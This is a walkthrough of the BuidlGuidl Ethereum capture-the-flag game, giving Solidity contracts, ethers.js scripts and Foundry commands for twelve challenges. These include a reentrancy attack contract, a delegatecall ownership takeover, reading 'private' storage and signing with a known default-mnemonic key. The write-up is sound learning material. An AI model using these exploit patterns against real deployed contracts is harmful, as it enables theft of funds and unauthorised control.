BuidlGuidl CTF Walkthrough

Play the CTF here

Challenge #1: The Greeting

This is a warm-up challenge where you just have to call the registerMe() function with your name as the argument. You can interact directly with the contract through Etherscan.

Challenge #2: Just Call Me Maybe

This challenge has a similar function, justCallMe(), but you cannot call it directly through an EOA due to this check:

require(msg.sender != tx.origin, "Not allowed");

The solution is then to just deploy a contract and call the function through it.

//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface IChallenge2 {
    function justCallMe() external;
}

contract Challenge2Answer {
    function callme(address challengeContract) public {
        IChallenge2(challengeContract).justCallMe();
    }
}

Challenge #3: Empty contract?

A very similar challenge again where we need to call the mintFlag() function through a contract but it cannot have any code. That might sound impossible until you realize that contracts’ code size is zero until they are deployed. So, if the function is called in the constructor itself, the check will pass.

//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface IChallenge3 {
    function mintFlag() external;
}

contract Challenge3Answer {
    constructor(address challengeContract) {
        IChallenge3(challengeContract).mintFlag();
    }
}

Challenge #4: Who can sign this?

This challenge requires us to figure out the signature of a particular wallet address. This is, of course, not possible for any general address but we have been provided with the deploy script to figure it out. This is the relevant part from that script:

const challenge4Contract = await hre.ethers.getContract<Contract>("Challenge4", deployer);
const hAccounts = hre.config.networks.hardhat.accounts as HardhatNetworkHDAccountsConfig;
const derivationPath = "m/44'/60'/0'/0/12";
const challenge4Account = HDNodeWallet.fromMnemonic(Mnemonic.fromPhrase(hAccounts.mnemonic), derivationPath);

await challenge4Contract.addMinter(challenge4Account.address);

So, we need to figure out the challenge4Account. The important key here is the derivation path which is a structured "map" that a Hierarchical Deterministic (HD) wallet uses to generate a specific set of keys and addresses from a single master seed or mnemonic phrase. In this case, we are only interested in the last part of the path (address index) which is ‘12’ because the rest is the standard derivation for an Ethereum wallet. Address index tells us the index of the wallet in the list of all wallets generated by that particular seed phrase and path. So, it would be the 13th wallet (0-indexed).

A quick Google search showed that the default mnemonic phrase for Hardhat is

test test test test test test test test test test test junk

I imported the wallet corresponding to this in Rabby and checked the 13th address which was 0xFABB0ac9d68B0B445fB7357272Ff202C5651694a. Now that we have the minter address (and its private key essentially), we just need to get its signature. Here is a small ethers.js script I wrote for it:

import { ethers } from "ethers";

// Sign a bytes32 message
// Encode and hash the message components
const encodedMessage = ethers.utils.defaultAbiCoder.encode(
  ["string", "address"],
  ["BG CTF Challenge 4", "YOUR ADDRESS"]
);
const message = ethers.utils.keccak256(encodedMessage);

const hardhatMnemonic = "test test test test test test test test test test test junk";
const derivationPath = "m/44'/60'/0'/0/12";
const wallet = ethers.Wallet.fromMnemonic(hardhatMnemonic, derivationPath);

console.log("Signer address:", wallet.address);

const signMessage = async () => {
  // Convert hex string to Uint8Array for signing
  const messageBytes = ethers.utils.arrayify(message);
  const signature = await wallet.signMessage(messageBytes);
  return signature;
};

signMessage().then(signature => {
  console.log("Signature:", signature);
});

PS: You could probably recreate this in Hardhat and get the account and signature directly but I was too lazy to setup Hardhat.

Challenge #5: Give Me My Points!

This is a classic reentrancy challenge. The claimPoints() function only lets us increase our points once but we need to have a total of 10 points to mint the flag.

function claimPoints() public {
    require(points[tx.origin] == 0, "Already claimed points");
    (bool success, ) = msg.sender.call("");
    require(success, "External call failed");

    points[tx.origin] += 1;
}

The bug in this function is that it increments the points after making the external call, instead of the other way around. Due to this, we can reenter through the fallback/receive function of our contract and call this function multiple times in the same transaction. Here’s a contract that does that:

//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface IChallenge5 {
    function claimPoints() external;
}

contract Challenge5Answer {
    uint counter = 0;

    function mintFlag() public {
        counter += 1;
        IChallenge5(0xB76AdFe9a791367A8fCBC2FDa44cB1a2c39D8F59).claimPoints();
    }

    receive() external payable { 
        if (counter < 11)
        {
            mintFlag();
        }
    }
}

Challenge #6: Meet all the conditions

As the name states, this challenge requires us to meet the 3 conditions specified in the ‘require’ statements of the contract. The first one is an easy one to crack.

require(code == count << 8, "Wrong code");

The count is a public variable that we can access and just left shift by 8. The second one is equally easy.

require(keccak256(abi.encodePacked(IContract6Solution(msg.sender).name())) == keccak256("BG CTF Challenge 6 Solution"), "Wrong name");

While it may look complicated, it just requires us to create a function called name() in our contract that returns "BG CTF Challenge 6 Solution". The third one is where I spent a lot of time but turned out to be much simpler than whatever I had been trying.

uint256 gas = gasleft();
require(gas > 190_000 && gas < 200_000, string.concat("Wrong gas: ", gas.toString()));

Since, we need to have the gasLeft() in a very tight range, my first attempt was to waste gas until the remaining gas hit the upper bound with a function like this:

uint public counter = 0;
uint256[] public arr;

modifier wasteEther(uint _lowestLimit) {
    while(gasleft() > _lowestLimit) {
        arr.push(counter);
        counter++;
    }
    _;
}

However, it either took a very long time (and failed) as the operations were not gas-intensive enough or the gasLeft() overshot the range as it was too gas intensive. If it worked locally or on Remix, it wouldn’t have the same behaviour on the mainnet. No matter what I tried, it just didn’t seem to work.

This is until I realized that I could just change the gasLimit that I send for the transaction. I quickly booted up Foundry and deployed the contract on a fork of the OP mainnet.

//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface IChallenge6 {
    function mintFlag(uint256 code) external;
    function count() external returns (uint256);
}

contract Challenge6Answer {
    uint public counter = 0;
    uint256[] public arr;

    function name() public pure returns (string memory) {
        return "BG CTF Challenge 6 Solution";
    }

    function attempt() public {
        uint code = IChallenge6(0x75961D2da1DEeBaEC24cD0E180187E6D55F55840).count() << 8;
        IChallenge6(0x75961D2da1DEeBaEC24cD0E180187E6D55F55840).mintFlag(code);
    }
}

I called the attempt() function and it showed that it took around ~30,000 gas for execution. I then just called it with a gasLimit of 230,000 and it worked. Setting the gasLimit for the transaction controls how much gas is available, which helps meet the contract’s requirement.

cast send $CONTRACT_ADDRESS "attempt()" --private-key $PRIVATE_KEY --gas-limit 230000

Challenge #7: Delegate

This challenge is about understanding and using delegatecall(). It works similar to call(), with a key difference, the called code will run on the caller’s storage.

When a contract runs delegatecall() on another contract, it is borrowing the other contract’s bytecode, and running it as its own. Whatever changes that were meant to be made on the other contract, will happen on the caller instead.

contract Challenge7Delegate {
    address public owner;
    event OwnerChange(address indexed owner);

    constructor(address _owner) {
        owner = _owner;
        emit OwnerChange(_owner);
    }

    function claimOwnership() public {
        owner = msg.sender;
        emit OwnerChange(msg.sender);
    }
}

contract Challenge7 {
    address public owner;
    Challenge7Delegate delegate;
    address public nftContract;

    constructor(address _nftContract, address _delegateAddress, address _owner) {
        nftContract = _nftContract;
        delegate = Challenge7Delegate(_delegateAddress);
        owner = _owner;
    }

    function mintFlag() public {
        require(msg.sender == owner, "Only owner");
        INFTFlags(nftContract).mint(msg.sender, 7);
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

Understanding this, we see that there is a delegate call in the fallback() function and both the Challenge7 and Challenge7Delegate have a public owner variable. So, if we call the claimOwnership() function on the Challenge7 contract, it will call the fallback() as that function does not exist on that contract. However, since that makes a delegate call to Challenge7Delegate, the owner variable of Challenge7 would be updated to our address instead of Challenge7Delegate. Now that we are the owner, we can easily call mintFlag() to get the flag.

This is surprisingly easy to do with Etherscan. We first call the claimOwnership() function through the “Write as proxy” tab and then the mintFlag() function through the “Write Contract” tab.

Challenge #8: The unverified

I think I solved this challenge in a very hacky way. The contract is unverified but Etherscan provides a very helpful decompiler. The decompiler yields:

# Palkeoramix decompiler. 

def storage:
  nftContractAddress is addr at storage 0

def nftContract() payable: 
  return nftContractAddress

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def unknown8fd628f0(uint256 _param1) payable: 
  require calldata.size - 4 >=′ 32
  require _param1 == addr(_param1)
  if addr(_param1) != caller:
      revert with 0, 'Invalid minter'
  require ext_code.size(nftContractAddress)
  call nftContractAddress.mint(address owner, uint256 value) with:
       gas gas_remaining wei
      args caller, 8
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]

We see a function selector, 0x8fd628f0, and the function takes one parameter. The function selector is the first four bytes of the keccak256 hash of the function signature. We don’t need to know what that equates to but the code roughly requires the parameter to match the address of the caller. The rest is the code for minting the flag.

So, I tried calling that function with my own address and it just works and mints the flag. In foundry, it would look like:

cast send 0x663145aA2918282A4F96af66320A5046C7009573 0x8fd628f0+$WALLET_ADDRESS_PADDED_TO_32_BYTES  --private-key $PRIVATE_KEY --rpc-url $OP_MAINNET_RPC_URL

Challenge #9: Password protected

This challenge requires us to guess a password based on a previous password and a mask which is created using some bitwise operations on the count variable. Both password and count are private variables as well, so they cannot be queried directly from the contract’s read functions.

However, nothing stored on the blockchain is actually private, let alone the private variables declared in Solidity. Since everything is stored in the contract’s storage anyway, we can just check that. The EVM storage is laid out in 32-byte slots. The nftContract would be stored in slot#0 taking up 20 bytes (address). The password is a bytes32 variable, so it would be stored in slot#1 (even though there is space in slot#0, it’s not enough, so the rest will remain empty). Finally, count would be stored in slot#2 and take up the entire 32 bytes as well.

Querying this using

cast storage 0x1Fd913F2250ae5A4d9F8881ADf3153C6e5E2cBb1 #SLOT_NO --rpc-url $OP_MAINNET_RPC_URL

We get,

0x000000000000000000000000c1ebd7a78fe7c075035c516b916a7fb3f33c26ce
0xf6bd6ed5c530908225e7ea1ac072bde94b180a706c43bb253d3efd7ecb17ff3b
0x0000000000000000000000000000000000000000000000000000000000000018

The first one indeed is the nftContract address. The second is the password and the third is the count variable in hex. Converting it to decimal gets us 24. Inputting all of these in the contract gets us the newPassword.

//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

contract Challenge9 {
    bytes32 private password = 0xf6bd6ed5c530908225e7ea1ac072bde94b180a706c43bb253d3efd7ecb17ff3b;
    bytes32 public newPassword;
    uint256 private count = 24;

    function getAnswer() public {
        bytes32 mask = ~(bytes32(uint256(0xFF) << ((31 - (count % 32)) * 8)));
        newPassword = password & mask;
    }
}

Challenge #10: Give 1 Get 1

This challenge’s flag is hidden in the NFTFlags.sol file itself. Specifically, in the onERC721Received function.

function onERC721Received(
    address,
    address from,
    uint256 tokenId,
    bytes calldata data
) external override returns (bytes4) {
    uint256 anotherTokenId = _toUint256(data);

    require(msg.sender == address(this), "only this contract can call this function!");

    require(ownerOf(anotherTokenId) == from, "Not owner!");

    require(tokenIdToChallengeId[tokenId] == 1, "Not the right token 1!");
    require(tokenIdToChallengeId[anotherTokenId] == 9, "Not the right token 9!");

    _mintToken(from, 10);

    safeTransferFrom(address(this), from, tokenId);

    return this.onERC721Received.selector;
}

Reading this, it looks like, it mints the 10th flag when this function is called and there are some particular requirements for it too. However, since only the contract can call this function, we need to find some other way to invoke it. By the name of function, it’s pretty clear that it will be called when the contract receives an NFT. And ERC721.sol does have a safeTransferFrom function that would call this!

The safeTransferFrom takes four arguments: from, to, tokenId and data. The first two are simple - our own address and the contract address. The third argument needs to be the tokenId of the NFT of challenge 1 which in my case was 450. This is the NFT that will be transferred to the contract (and promptly returned back).

The last argument is the tokenId of the NFT of challenge 9 (so you need to have solved it before), in the bytes format, and any simple convertor would do the trick here. Calling the function with these parameters gets us the flag!

Challenge #11: Who can call me?

This challenge is about deterministic deployment of a contract address. You can only call the mintFlag() function from a contract whose address needs to have the same last byte as our wallet address (both masked by 0x15, which I decided to completely ignore for this challenge). This can be done using the CREATE2 command which lets us choose a salt so we know what address our contract will be deployed to beforehand.

One way to do this is using a factory pattern which is shared below.

//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface IChallenge11 {
    function mintFlag() external;
}

contract Challenge11Answer {
    function attempt() public { 
        IChallenge11(0x67392ea0A56075239988B8E1E96663DAC167eF54).mintFlag();
    }
}

contract Factory {
    function deploy(uint _salt) public payable returns (address) {
        return address(new Challenge11Answer{salt: bytes32(_salt)}());
    }

    function getBytecode() public pure returns (bytes memory)
    {
        bytes memory bytecode = type(Challenge11Answer).creationCode;
        return abi.encodePacked(bytecode);
    }

    function getAddress(uint256 _salt) public view returns (address)
    {
        // Get a hash concatenating args passed to encodePacked
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff), // 0
                address(this), // address of factory contract
                _salt, // a random salt
                keccak256(getBytecode()) // the wallet contract bytecode
            )
        );
        // Cast last 20 bytes of hash to address
        return address(uint160(uint256(hash)));
    }
}

What we need to do now is just calculate the salt that gets us the desired address. For this, I incremented the salt by 1 until the last byte of the contract address matched mine (using the mask may have been faster, but yields the same result).

function getSalt() public view returns (uint salt) {
    salt = 0;
    address new_address = getAddress(salt);

    while (uint8(abi.encodePacked(new_address)[19]) != 0xff){
        new_address = getAddress(salt);
        salt++;
    }
}

We can then just deploy the contract and call the attempt() function to get the flag!

Challenge #12: Give me the block!

This was, by far, the hardest challenge of the bunch. Looking back, it’s not too tough but required a lot of googling to make it work. To solve this, we need to understand RLP (Recursive Length Prefix) encoding. This Ethereum guide is a pretty good explainer but the main idea is that RLP encodes arbitrarily nested arrays of binary data in a space-efficient format and this is what is used in Ethereum's execution clients.

Looking at the challenge contract now,

//SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "./RLPReader.sol";
import "./INFTFlags.sol";

contract Challenge12 {
    using RLPReader for RLPReader.RLPItem;
    using RLPReader for bytes;

    address public nftContract;
    mapping(address => uint256) public blockNumber;
    mapping(uint256 => bool) public blocks;

    uint256 public constant futureBlocks = 2;

    constructor(address _nftContract) {
        nftContract = _nftContract;
    }

    function preMintFlag() public {
        require(blocks[block.number] == false, "Block already used");
        blocks[block.number] = true;
        blockNumber[msg.sender] = block.number;
    }

    function mintFlag(bytes memory rlpBytes) public {
        require(blockNumber[msg.sender] != 0, "PreMintFlag first");
        require(block.number >= blockNumber[msg.sender] + futureBlocks, "Future block not reached.");
        require(block.number < blockNumber[msg.sender] + futureBlocks + 256, "You miss the window. PreMintFlag again.");

        RLPReader.RLPItem[] memory ls = rlpBytes.toRlpItem().toList();

        uint256 blockNumberFromHeader = ls[8].toUint();

        require(blockNumberFromHeader == blockNumber[msg.sender] + futureBlocks, "Wrong block");

        require(blockhash(blockNumberFromHeader) == keccak256(rlpBytes), "Wrong block header");

        INFTFlags(nftContract).mint(msg.sender, 12);
    }
}

Some things that stand out are:

  1. We need to first call preMintFlag() before calling mintFlag().

  2. We can call mintFlag() only after at least 2 blocks have passed but no more than 257 should have. Hence, the window to call mintFlag() is 256 blocks.

  3. The blockNumber encoded in rlpBytes should equal exactly 2 more than the block number in which preMintFlag() was called.

  4. Finally, keccak256 hash of rlpBytes should equal the blockhash of the blockNumber encoded in rlpBytes.

Taking all of this into account, the challenge boils down to creating RLP-encoded data for the n+2 block where block n is where we call the preMintFlag(). Then use this rlpBytes to call mintFlag() within the next 256 blocks. Since, the block data is public, we only need to focus on creating the RLP encoder. Fetching the block data is easy:

import { ethers } from "ethers";

const RPC_URL = "YOUR_OP_MAINNET_RPC_URL";
const provider = new ethers.providers.JsonRpcProvider(RPC_URL);
const blockNumber = xxx;
  
const rawBlock = await provider.send("eth_getBlockByNumber", [
  ethers.utils.hexValue(blockNumber),
  false
]);

Next, we need to get the block header details of the fetched block and format the data correctly. The one that helped me the most was this StackExchange thread. It explained how the block header is structured and some quirks when encoding it to RLP. It also had a link to the Header struct in the geth client which helped me structure my own implementation. The most important part here is to correct odd-length hex data by padding it with 0s to the correct length, and to use 0x for data that is 0x0.

A function for that would look like:

function getEvmHeaders(rawBlock: any): any[] {
  const hexToMinimalBytes = (hexStr: string | undefined): Uint8Array => {
    if (!hexStr || hexStr == '0x0') hexStr = '0x';
    return ethers.utils.arrayify('0x' + (hexStr.length % 2 ? '0' : '') + hexStr.slice(2));
  };

  const fields: any[] = [
    hexToMinimalBytes(rawBlock.parentHash),
    hexToMinimalBytes(rawBlock.sha3Uncles),
    hexToMinimalBytes(rawBlock.miner), 
    hexToMinimalBytes(rawBlock.stateRoot),
    hexToMinimalBytes(rawBlock.transactionsRoot),
    hexToMinimalBytes(rawBlock.receiptsRoot),
    hexToMinimalBytes(rawBlock.logsBloom),
    hexToMinimalBytes(rawBlock.difficulty),
    hexToMinimalBytes(rawBlock.number),
    hexToMinimalBytes(rawBlock.gasLimit),
    hexToMinimalBytes(rawBlock.gasUsed),
    hexToMinimalBytes(rawBlock.timestamp),
    hexToMinimalBytes(rawBlock.extraData),
    hexToMinimalBytes(rawBlock.mixHash),
    hexToMinimalBytes(rawBlock.nonce),
    hexToMinimalBytes(rawBlock.baseFeePerGas),
    hexToMinimalBytes(rawBlock.withdrawalsRoot),
    hexToMinimalBytes(rawBlock.blobGasUsed),
    hexToMinimalBytes(rawBlock.excessBlobGas),
    hexToMinimalBytes(rawBlock.parentBeaconBlockRoot),
    hexToMinimalBytes(rawBlock.requestsHash),
  ];

  return fields;
}

With the fields in hand, we can now use the very helpful encode function from the ‘@ethereumjs/rlp’ library.

import { encode as rlpEncode } from "@ethereumjs/rlp";

const fields = getEvmHeaders(rawBlock);
const rlpData = ethers.utils.hexlify(rlpEncode(fields));
const rlpHash = ethers.utils.keccak256(rlpData);
const matches = rlpHash === rawBlock.hash;

Putting everything together, we can now call preMintFlag(), generate the rlpBytes for the n+2 block and then submit it to mintFlag() within 256 blocks to get the flag!